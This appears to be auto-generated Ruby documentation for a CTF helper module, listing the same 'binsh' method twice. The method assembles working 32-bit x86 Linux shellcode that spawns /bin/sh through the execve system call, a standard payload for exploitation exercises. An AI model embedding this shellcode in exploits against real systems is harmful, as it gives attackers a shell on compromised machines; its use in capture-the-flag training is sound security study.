module CTF::Shellcode::X86

Public Class Methods

binsh() click to toggle source
# File lib/ctf/shellcode.rb, line 5
      def binsh
        shellcode = <<EOS
        xor eax, eax
        push eax
        push #{"n/sh".unpack("I")[0]}
        push #{"//bi".unpack("I")[0]}
        mov ebx, esp
        push eax
        pop ecx
        push eax
        pop edx
        mov al, 0xc
        dec al
        int 0x80
EOS
        Metasm::Shellcode.assemble(Metasm::Ia32.new, shellcode).encode_string
      end

Private Instance Methods

binsh() click to toggle source
# File lib/ctf/shellcode.rb, line 5
      def binsh
        shellcode = <<EOS
        xor eax, eax
        push eax
        push #{"n/sh".unpack("I")[0]}
        push #{"//bi".unpack("I")[0]}
        mov ebx, esp
        push eax
        pop ecx
        push eax
        pop edx
        mov al, 0xc
        dec al
        int 0x80
EOS
        Metasm::Shellcode.assemble(Metasm::Ia32.new, shellcode).encode_string
      end